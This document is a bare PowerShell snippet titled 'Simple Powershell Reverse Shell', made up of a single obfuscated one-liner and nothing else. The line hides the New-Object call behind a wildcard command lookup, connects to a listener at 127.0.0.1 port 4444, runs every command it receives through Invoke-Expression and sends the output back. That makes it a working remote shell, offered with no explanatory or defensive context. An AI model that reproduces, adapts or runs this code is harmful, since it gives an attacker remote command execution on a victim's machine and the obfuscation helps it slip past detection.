Simple Powershell Reverse Shell

$c=&(GCM *w-O*)Net.Sockets.TCPClient("127.0.0.1",4444);$m=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$m.Read($b,0,$b.Length)) -ne 0){$d = (&(GCM *w-O*) -TypeName Text.ASCIIEncoding).GetString($b,0,$i);$s=(iex $d 2>&1|Out-String);$b=([text.encoding]::ASCII).GetBytes($s);$m.Write($b,0,$b.Length)};